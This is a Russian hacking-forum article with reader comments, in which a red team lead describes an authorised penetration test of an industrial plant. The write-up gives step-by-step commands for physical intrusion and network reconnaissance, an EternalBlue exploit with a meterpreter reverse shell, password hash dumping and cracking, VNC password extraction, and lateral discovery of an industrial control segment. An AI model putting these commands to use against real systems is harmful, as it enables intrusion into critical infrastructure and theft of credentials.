• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Атаки на предприятия или как заставить ИТшников работать

okihad

RAID-массив
Пользователь
Регистрация
21.01.2020
Сообщения
53
Реакции
38
1. Введение

Вкратце расскажу немного о себе и о ситуации, которая сподвигла написать данную статью.
Я работаю руководителем недавно образовавшегося направления RedTeam в крупнейшей организации, в состав которой входят многочисленные производственные предприятия, разбросанные по стране. В составе есть даже градообразующие предприятия. Я специально сделал на этом акцент, чтобы читающий понял, на сколько все критично. И речь идет не совсем о нарушении ФЗ №187 в отношении критически важной инфраструктуры. Есть высокие риски не только финансовых потерь из-за остановки производства, но и нарушение жизнеобеспечения целых городов (свет, тепло, водоснабжение). И на этих самых предприятиях требования ИБ исполняются не должным образом. Мы пробовали:
  • Описывать все необходимые требования в регламентирующих документах каждого предприятия;
  • Проводить периодические проверки состояния ИБ каждого предприятия с предоставлением отчетов отделу управления рисками и ИТ руководству головной компании;
  • Обращаться к топ-менеджменту компании;
  • Делать оценку рисков с отчетом опять же для топ-менеджеров;
  • Проводить совещания с руководством ИТ предприятий и фиксировать в протоколе проблемы с конкретными сроками их устранения.
Ничего из выше перечисленного не помогало. Исполнение инструкций и поручений топ-менеджмента «буксовало» на местах. И мы приняли решение – «ДЕЙСТВОВАТЬ» самостоятельно, чтобы опередить реальных злоумышленников.

Итак, приступим.

2. Ограничения и определение области действия

Главным ограничением, которое я установил перед командой - все должно происходить без остановки технологического процесса предприятий. Потому что простои – это всегда серьезные убытки и последствия.

Дополнительные ограничения, которые я так же озвучил – не использовать уже имеющиеся у нас знания о наших предприятиях, а именно:
  • Нельзя использовать отчеты используемых в компании сканеров уязвимостей.
  • Нельзя использовать наши (ИБшные) серверы компании, с которых имеется доступ ко всем сегментам сети. Например, тот же самый сканер уязвимостей или SIEM система.
  • Нельзя обращаться к ИТ подразделению с просьбой отключить что-либо, чтобы это не мешало атаке.
  • Нельзя использовать схемы сетей и наши текущие знания со сегментации сети.
  • Нельзя использовать какие-либо выгрузки, полученные путем исполнения наших прямых должностных обязанностей. Например, для регулярных проверок мы выгружаем списки рабочих станций, серверов, пользователей и т.д..
  • Нельзя использовать адресную книгу всех работников Компании – очень ценная информация при атаке.
Учитывая вышеперечисленные ограничения, часть предприятий сразу же выпали из области атаки. Там, где не было никакой сегментации сети, мы туда даже и не собирались лезть. Да, результат был бы колоссальный, но это было бы совсем не интересно. Изначально мы решили взять одно градообразующее предприятие, ИТ подразделение которого часто отчитывается «Мы все сделали!» или наоборот – не хотят что-либо делать. Уровень ИБ данного предприятия был на хорошем уровне по сравнению с другими нашими предприятиями.

3. Footprinting

Несмотря на то, что уже частично определена область действия, мы все же не отказались от данного этапа. В ходе футпринтинга мы выявили очень интересные вещи, о которых не знали ранее:
  • Лишние порты доступны снаружи;
  • VPN сервис возможно использовать в обход 2FA (двухфакторная аутентификация);
  • Возможно намеренно блокировать учетные записи через сервис OWA (Outlook Web Access).
Это очередные недоработки ИТ подразделения, о которых они отчитывались, что все устранено давным-давно.

На этом этапе мы использовали простые доступные инструменты и сервисы такие, как Goolge, Shodan, theHarvester. Почему простые? Потому что они доступны каждому бесплатно, и их использование очень легко.

Используя сайт 2ip.ru или его аналоги, по имени внешнего сайта компании определяем IP-адрес. А по нему находим контактную информацию (фамилия, имя, телефон рабочий и мобильный) того, на кого зарегистрированы IP-адреса компании.

Заходим на сайт shodan.io. В строке поиска вводим найденный IP-адрес и получаем информацию о сертификатах, заголовках, портах и сервисах. В заголовках можно увидеть много чего интересного если они настроены «криво». Например, версию веб-сервера. А иногда этого достаточно, чтобы найти нужный эксплоит.

Используя theharvester, одной командой можно собрать еще больше информации и использовать ее опять же в shodan. Например, вот такой командой, получаем все IP-адреса, принадлежащие компании, и далее в shodan смотрим, какие порты и сервисы доступны.

theharvester –d site.com –l 200 –b all

-d – указываем домен компании, информацию о которой мы хотим найти
-l – указывается ограничение числа результатов поиска. На моей практике всегда было достаточно и 200 строк.
-b – указываем, где искать. Если указать all, то поиск будет выполняться по всем известным харвестеру источникам. Можно ограничиться только google или yandex.

Результаты харвестера показываются в терминале. Для удобства рекомендую экспортировать все в html, указав параметр –f

theharvester –d site.com –l 500 –b all –f harvester.html
1579769530316.png


По результатам данного этапа у нас не только появилась необходимая информация для возможной атаки (DOS, Phishing), но и реализовали новый кейс в нашем SOC (Security Operation Center), связанный с появлением новой информации в интернете о нашей компании или о сотрудниках. Не могу раскрыть все детали кейса, т.к. они под грифом конфиденциальности.

4. Scanning и Enumeration

Можно было организовать фишинговую рассылку на обнаруженные электронные адреса. Обязательно найдется кто-то, кто перейдет по вредоносной ссылке. Но не смотря на результаты футпринтинга, мы решили поехать на предприятие и физически «пощупать» его. Назначили встречу с ИТ, прилетели. Рекомендую, когда приезжаешь на предприятие, сразу же сообщить, что планируется посещение производственных площадок. Тогда вас заставят пройти технику безопасности. Да, вы потеряете 1-2 часа, но зато по окончанию вводного инструктажа вам выдадут спецодежду. Она нам пригодится в дальнейшем. Так же посещение ТБшников полезно тем, что на пути к ним мы перемещаемся по зданию и наблюдаем обстановку. Лично я увидел коридорные принтеры, WiFi точки доступа, а мой коллега был еще более внимателен. Он заметил одну розетку RJ45 и оставленный в принтере распечатанный приказ, содержащий электронный адрес автора документа и ФИО работников, которым необходимо выйти на работу в выходные дни.

Далее, находясь на совещании, мы просим подключить нас к гостевой WiFi точке доступа. Именно к гостевой, которая должна быть отделена от офисной сети. После подключения сразу же проверяем какой IP мы получили и запускаем сканирование с помощью ZenMap (он же NMap, только под Windows). Я сканировал «ближайшие» ко мне подсети, а коллега сканировал «красивые».

Например, если мы получили 192.168.13.28, то ближайшие к нам – это 192.168.12.1/24 – 192.168.15.1/24. В таком случае цель для скана будет выглядеть так:
1579769640310.png


Ближайшие, потому что под разные WiFi подсети как правило для удобства используются подсети подряд.

«Красивые» подсети – это 1, 11, 22, 111, 222 и т.д.. Я заметил, что ИТшники часто выбирают такие подсети для серверов, сетевого оборудования, принтеров, а также для себя любимых, чтобы легче было запоминать адреса и хвастаться перед коллегами. Для некоторых это тоже самое, что и купить себе крутой гос. номер для авто.

Как оказалось, мы не видим ни одной подсети, кроме той, в которой находимся. Неудача!

Далее коллега, глубоко извиняясь, выходит якобы в туалет и берет с собой ноутбук. Вместо пиджака одевает верхнюю часть спецодежды. Никого это не смутило. Специалисты ИТ подразделения продолжали рассказывать, как у них «все хорошо». В коридоре коллега подключает ноутбук к свободной сетевой розетке. Не получает никакого IP-адреса. Видимо, розетка нерабочая или порт на коммутаторе был отключен. Снова неудача!

Затем коллега подключает ноутбук к розетке, к которой был подключен сетевой принтер. IP-адрес был получен. Бинго! Фильтрация по MAC-адресу не настроена. Тут же был запущен скан ближайших подсетей.

Скан запускали в режиме Ping, чтобы просто понять, до каких подсетей мы можем достучаться. В результатах ZenMap/NMap мы видим, что есть доступ до определенных хостов из других подсетей. В таком случает ZenMap/NMap рапортует «Host is up».
1579769762090.png


И запускаем уже более подробный скан обнаруженных IP адресов, чтобы понять, какие порты слушаются. Команда будет выглядеть примерно так:
nmap -Pn -sS -sV 192.168.1.92
1579770484748.png


-Pn - Расценивать все хосты как работающие - пропустить обнаружение хостов
-sS - TCP SYN сканирование или Stealth Scan
-sV - Исследовать открытые порты для определения информации о службе/версии

В результатах ZenMap/NMap будут указаны все доступные нам порты и их описание если ZenMap/NMap смог их определить:
1579770667520.png


Т.к. прошло уже более 30 минут, коллеге пришлось вернуться, но уже имелась информация о трех хостах с открытыми портами 445 (SMB), 80 (http), 443 (https) и другими. Пока совещание продолжалось, коллега на своем ноутбуке настроил скан этих хостов в сканере уязвимостей Nessus. Создаем новый скан типа Advanced.
1579771214398.png


1579771272780.png


В targets указываем IP-адреса обнаруженных хостов. Все остальное оставляем по умолчанию.

1579771410348.png


Использовалась триальная версия сканера Nessus, которая была установлена заранее. Рекомендую делать это заблаговременно, т.к. при первом старте сканера запускается компиляция и обновление плагинов. На нашем ноутбуке это заняло более часа.

Затем коллега снова вышел в коридор, сразу же направился к принтеру, подключил ноутбук и запустил сканирование. Оно длилось не более 10 минут. Ура! У нас есть отчет по трем хостам. Идем на обед.

После обеда, пока все курили или спали в своих кабинетах (некоторые реально спали), спокойно анализируем отчет сканера. Ищем критические уязвимости, особенно на портах 445, 80, 443. Находим уязвимость MS17-010. Подробная информация для тех, кто не запомнил номер этой нашумевшей уязвимости можно прочитать здесь

https://ru.wikipedia.org/wiki/EternalBlue
https://www.exploit-db.com/exploits/42315

5. System Hacking и Privilege Escalation

Приступаем к самому интересному. Достаем ноутбук с установленной операционной системой KaliLinux. Можно попробовать KaliLinux установить на виртуалку. Вот здесь очень подробно описано, как Kali устанавливается на VirtualBox https://itsfoss.com/install-kali-linux-virtualbox/

В таком случае, рекомендуется в настройках виртуальной машины сетевую карту настроить бриджом, чтобы она получила свой IP.

1579771550556.png


В данном случае мы не использовали Metasploit в Kali, запущенной на виртуалке. Для этого у нас был отдельный ноутбук. В ходе второй части совещания, коллега в спецодежде опять вышел в коридор, подключился вместо принтера и начала проверять, действительно ли хосты подвержены уязвимости MS17-010, как показал сканер.

Запускаем Metasploit командой msfconsole
1579771653721.png


Проверяем, есть ли в нашем Metasploit необходимые эксплоиты под MS17-010 командой

search ms17
1579771676774.png


Auxiliary – это модули для сканирования сети или проверки подверженности той или иной уязвимости. Поэтому сначала используем его.
  • Запускаем командой
use auxiliary/scanner/smb/smb_ms17_010
  • Смотрим, какие опции можно настроить
show options
  • В переменную RHOSTS устанавливаем уже известный нам IP-адрес, например:
set rhosts 192.168.1.13
  • Запускаем проверку командой run
1579771841305.png


В результатах видно, что хост повержен данной уязвимости. Приступаем непосредственно к эксплуатации.
  • В этот раз запускаем уже сам эксплоит EternalBlue
use exploit/windows/smb/ms17_010_eternalblue
  • Смотрим, какие опции можно настроить
show options

1579772272039.png

  • В переменную RHOSTS устанавливаем тот же IP-адрес, например:
set rhosts 192.168.1.13
1579772635482.png

  • В переменную LHOST устанавливаем IP-адрес нашего ноутбука, например:
set lhost 192.168.1.18
1579772734259.png

  • Устанавливаем полезную нагрузку для получения сессии meterpreter
set payload windows/x64/meterpreter/reverce_tcp
1579773173089.png


Запускаем все это дело командой run и ждем магии. Если все успешно, то мы увидим слова WIN и Meterpreter
1579773338015.png



После получения доступа к хосту повышаем свои привилегии до системных командой getsystem и сразу же командой getuid проверяем получилось ли это сделать:
1579773386992.png


Если вы видите NT AUTHORITY\система – значит все получилось. Мы на удаленном хосте и далее возможно выполнять любые действия с хостом, включая удаление данных и его остановку.

С помощью sysinfo смотрим информацию о системе.
1579773469622.png


Сразу же возник вопрос, почему хост с Windows 7 не в домене, а в рабочей группе WORKGROUP? Ладно будем разбираться дальше.

Смотрим запущенные процессы на удаленном хосте командой ps
1579773519483.png


Выбираем один из процессов и пробуем мигрировать в него, например, в explorer.exe командой migrate 3392, где 3392 это PID процесса explorer.exe. Миграция прошла успешно.
1579773571647.png


Следующим шагом собираем информацию по системе командой run winenum
1579773721868.png


В итоге мы получаем информацию по настройкам системы, спискам пользователей и многое другое.

6. Cracking Passwords

Собираем Hash паролей командой hashdump
1579773767207.png


В результате получаем имена учетных записей и хэши их паролей. Отмечу, что цифра 500 всегда обозначает встроенного администратора, а 501 – гостя. Так что, если их кто-то переименует, то для вас это не помеха.

С помощью онлайн сервисов или программы hashcat расшифровываем хэши паролей.

Hashcat поддерживает очень большое количество алгоритмов. Подробное описание можно прочитать здесь https://hashcat.net/hashcat/. В ходе пентеста может понадобиться разнонаправленное использование данной утилиты. Видео с подробным объяснением можно посмотреть здесь

Если все хорошо, то мы увидим статус Cracked
1579773834745.png


Так же у Hashcat есть GUI. Новичкам им пользоваться проще и быстрее.
https://hashkiller.co.uk/Tools/HashcatGUI

А вот так выглядит тот же результат одного из многих онлайн сервисов.
https://www.onlinehashcrack.com/
1579773860830.png


В итоге получаем пароли. Значение «empty string» означает, что пароль пустой.

При сканировании ZenMap/Nmap так же был обнаружен установленный VNC сервер на удаленной машине на портах 5800 и 5900
1579773893372.png


Для взлома пароля VNC необходимо в реестре атакуемой машины найти зашифрованный пароль. Для этого получаем Shell и находим нужную ветку в реестре командой «reg query»
1579773933930.png


1579773964395.png


Пароль сохранен в переменной Password в зашифрованном виде. К счастью есть специальная утилита VNC Password Recovery для расшифровки

1579774008029.png



7. Продолжение атаки

Мы не стали подключаться к хосту по VNC, чтобы не наследить лишний раз. Далее делаем скриншот с удаленного хоста командой screenshot
1579774050353.png


Открываем скриншот и понимаем, почему данный хост не в домене. На скриншоте мы увидели систему АСУТП, которая управляла конвейерами, весами и опрокидами. Как правило АСУТП системы выводят в отдельный сегмент сети и там никакие требования ИБ не применяют. На очередном перекуре мы с коллегой попытались понять, почему же этот хост в офисной сети, а не в отдельной. Ноутбук все это время стоял возле принтера. Странно, что никто из ИТ этого не заметил. Мы решили, что будем дальше искать другие АСУТП хосты. Проверяем, какие сетевые интерфейсы есть на удаленном хосте командой ipconfig
1579774084026.png


Оказалось, что у этого хоста есть второй интерфейс из другой подсети. Проверяем какие еще хосты доступны с обоих интерфейсов командой arp –a

1579774124110.png


Со второго интерфейса было видно очень много хостов, видимо это был весь АСУТП сегмент. Дальше можно просто повторять все по кругу. Каждый найденный хост проверить на наличие открытых портов и пробовать подключаться к ним.

В завершение пробуем скопировать файл с удаленного хоста к себе. Командой dir смотрим, какие директории есть
1579774158364.png


Видим много непонятных каталогов, которых по умолчанию нет на хостах с операционной системой windows. Переходим в каталог XML, смотрим ее содержимое.
1579774178886.png


Пробуем скопировать на свой ноутбук файл из папки XML командой
Download file_name.xml -> /root/Documents

1579774217623.png


Файл скопирован успешно. Открываем полученный XML файл в Excel и видим некий отчет о тех же конвейерах, весах и опрокидах. Это стало понятно из названия столбцов.

8. Clean-up

Т.к. мы не создавали никаких учетных записей на удаленном хосте, то и подчищать было нечего. Мы даже не стали проверять, какие логи пишет ОС и есть ли там следы нашего подключения. Понятно, что там наверняка ничего не настроено. Сетевой кабель обратно подключили к принтеру, выключили его. Если у кого-то возникнут вопросы почему он не работал почти весь день, то увидят, что он просто был выключен.

9. Результат

Отчет по данному пентесту был направлен руководству ИТ – реакции сначала не было никакой. Затем отчет был озвучен на совещании с топ менеджментом. И было во всей красе продемонстрировано, как прям сейчас можно остановить производство. И только после этого началась хоть какая-то работа по исполнению требований ИБ со стороны ИТ подразделения.

10. Выводы

Нам нужно закрывать все возможные «дыры» в инфраструктуре, а злоумышленнику достаточно найти только одну, чтобы проникнуть в сеть. Вот так просто, пока ИТ подразделение «рассказывает сказки».

Кто-то скажет: «Да это же пентест в стиле WhiteBox!». Возможно этот человек будет прав, но учитывая те ограничения, о которых говорилось в начале статьи, я бы сказал, что это BlackBox. Хочу отметить, что любой может «прикинуться» каким-нибудь подрядчиком или очередным поставщиком оборудования и так же назначить встречу на территории предприятия.

Кто-то наверняка читает эту статью и задается вопросом: «А спецодежда зачем?». Ответ простой. В момент нахождения возле принтера мимо проходили люди, и никто не поинтересовался КТО это и ЧТО он делает. Наверное, они подумали, что это кто-то из ИТ подразделения. И как раз принтер сегодня не работает, наверняка ИТшники уже в курсе и пытаются его починить. Если бы человек был в пиджаке, то возможно так просто не получилось все это провернуть.

Всем спасибо за внимание!
 

Вложения

  • 1579771193660.png
    1579771193660.png
    3.3 КБ · Просмотры: 182
  • 1579771789735.png
    1579771789735.png
    112.4 КБ · Просмотры: 182
В целом все заняло примерно 6 часов. Зашли в здание в 9:00 утра и вышли в 15:00. Конечно, это все можно сделать быстрее, если не надо было постоянно бегать от принтера в совещательную комнату и был бы доступ к сети сразу. Например из гостевой WiFi сети.
 
ТС спасибо, расскажите подробнее про RedTeam.
если вкратце, то это группа хакеров, официально действующих внутри организации. Это превентивная мера противодействия реальным злоумышленникам. Главная задача - поломать что-то внутри организации, чтобы показать текущие проблемы и устранить их.

Подробно здесь
 
Спасибо, тут и для новичков отличная статья и для режиссера сценарий для какого-нибудь фильма про кул хацкеров .P.S По RU же работать запрещено. :)) И еще мне не понятна логика таких событий когда вы с коллегой изначально ничего не нашли в ближайшей подсети 192.168.13.1/22 , то каким образом "мы получили уже известный нам IP-адрес 192.168.1.13 ? И здесь, сори, опять непонятки для меня, может просто потому что я особо не знаком с метерпретером, но мне показалось это странным, что после того когда ваш друг вышел еще раз в корридор и просканил подсеть принтера 192.168.1.0/24, то "имелась информация о трех хостах ", а именно 192.168.1.92, 192.168.1.76 и с доменом gpon-infitium.no... то после внедрения в процесс и выполнения с него команды "run winenum" метер исполняется уже в другой локальной корп сети, то есть в 10.32.4.13. Как так вышло? И если вы получили хэши адмнов, то насколько мне известно, нет смысла его брутить, по сути, с ними можно было чекнуть все существующие подсети и завладеть всей сетью. :D. В общем, как по мне, статья норм(так себе), и я теперь могу спать спокойно, зная, что сущестуют такие вот спецы по ИБ. :))
 
Спасибо, тут и для новичков отличная статья и для режиссера сценарий для какого-нибудь фильма про кул хацкеров .P.S По RU же работать запрещено. :)) И еще мне не понятна логика таких событий когда вы с коллегой изначально ничего не нашли в ближайшей подсети 192.168.13.1/22 , то каким образом "мы получили уже известный нам IP-адрес 192.168.1.13 ? И здесь, сори, опять непонятки для меня, может просто потому что я особо не знаком с метерпретером, но мне показалось это странным, что после того когда ваш друг вышел еще раз в корридор и просканил подсеть принтера 192.168.1.0/24, то "имелась информация о трех хостах ", а именно 192.168.1.92, 192.168.1.76 и с доменом gpon-infitium.no... то после внедрения в процесс и выполнения с него команды "run winenum" метер исполняется уже в другой локальной корп сети, то есть в 10.32.4.13. Как так вышло? И если вы получили хэши адмнов, то насколько мне известно, нет смысла его брутить, по сути, с ними можно было чекнуть все существующие подсети и завладеть всей сетью. :D. В общем, как по мне, статья норм(так себе), и я теперь могу спать спокойно, зная, что сущестуют такие вот спецы по ИБ. :))
Очень много скриншотов делалось уже после всего этого в тестовой среде, поэтому IP не совпадают и есть домен из внешки. Просто в момент происходящего не было особо времени на скрины. А без скринов статья была бы менее информативная. Вот и пришлось выкручиваться.

Хэши мы брутили, чтобы понять, соответствует ли пароль требованиям наших документов или опять что-то простенькое поставили.
 
Очень много скриншотов делалось уже после всего этого в тестовой среде, поэтому IP не совпадают и есть домен из внешки. Просто в момент происходящего не было особо времени на скрины. А без скринов статья была бы менее информативная. Вот и пришлось выкручиваться.

Хэши мы брутили, чтобы понять, соответствует ли пароль требованиям наших документов или опять что-то простенькое поставили.
Ну так можно было не брутить, а к примеру заюзать мимикатз, наверное как пейлоад он должен быть в метере, ну или отдельно запустить в консоли, после команды shell. Если win7 не пропатченая даже на smb сплойт, но в 99% обнаружились бы пассы в чистом виде, которые могли предоставить вашим организаторам производственной конференции. :)
 
Ну так можно было не брутить, а к примеру заюзать мимикатз, наверное как пейлоад он должен быть в метере, ну или отдельно запустить в консоли, после команды shell. Если win7 не пропатченая даже на smb сплойт, но в 99% обнаружились бы пассы в чистом виде, которые могли предоставить вашим организаторам производственной конференции. :)
Возможно вы правы. Но ведь главное результат. А каким способом это делалось - это уже второй вопрос
 
Интересная статья. Главное, чтобы статья не была воспринята как руководство к действию для молодых (не опытных) специалистов дабы избежать плачевного результата. Мне интересно почему небыли задействованы базовые методы защиты на интерфейсе сетевого оборудования такие как Port Security. Где добрый мониторинг сетевых устройств который должен был проинформировать сотрудников IT о том что у них принтер не доступен по сети. Может его уже расхитители собственности вынесли и грузят в машину. Надеюсь сотрудники IT сделали выводы из данного урока.
 
Интересная статья. Главное, чтобы статья не была воспринята как руководство к действию для молодых (не опытных) специалистов дабы избежать плачевного результата. Мне интересно почему небыли задействованы базовые методы защиты на интерфейсе сетевого оборудования такие как Port Security. Где добрый мониторинг сетевых устройств который должен был проинформировать сотрудников IT о том что у них принтер не доступен по сети. Может его уже расхитители собственности вынесли и грузят в машину. Надеюсь сотрудники IT сделали выводы из данного урока.
Port security - это хороший способ защиты. И его использование прописано в инструкции по безопасности сети. И его даже настраивают на некоторых предприятиях. Тут ИТ упустили этот момент в очередной раз. ЗабЫли или забИли.

Кстати есть решения и для мониторинга. Но его конфигурация очень плохая. Там не только принтеров нет, но и даже критичных серверов.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
okihad а почему скрины сделаны одни пару дней назад? Остальные сделаны давно но не в один день?
 
okihad а почему скрины сделаны одни пару дней назад? Остальные сделаны давно но не в один день?
Чуть выше уже ответил на подобный вопрос. Часть скринов реальные, часть с тестовой инфраструктуры. Потому что не было времени делать скрины в тот момент. Поэтому есть и разрыв по датам. Главное это то, что на скринах видно ЧТО и КАК нужно сделать и на ЧТО обращать внимание.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх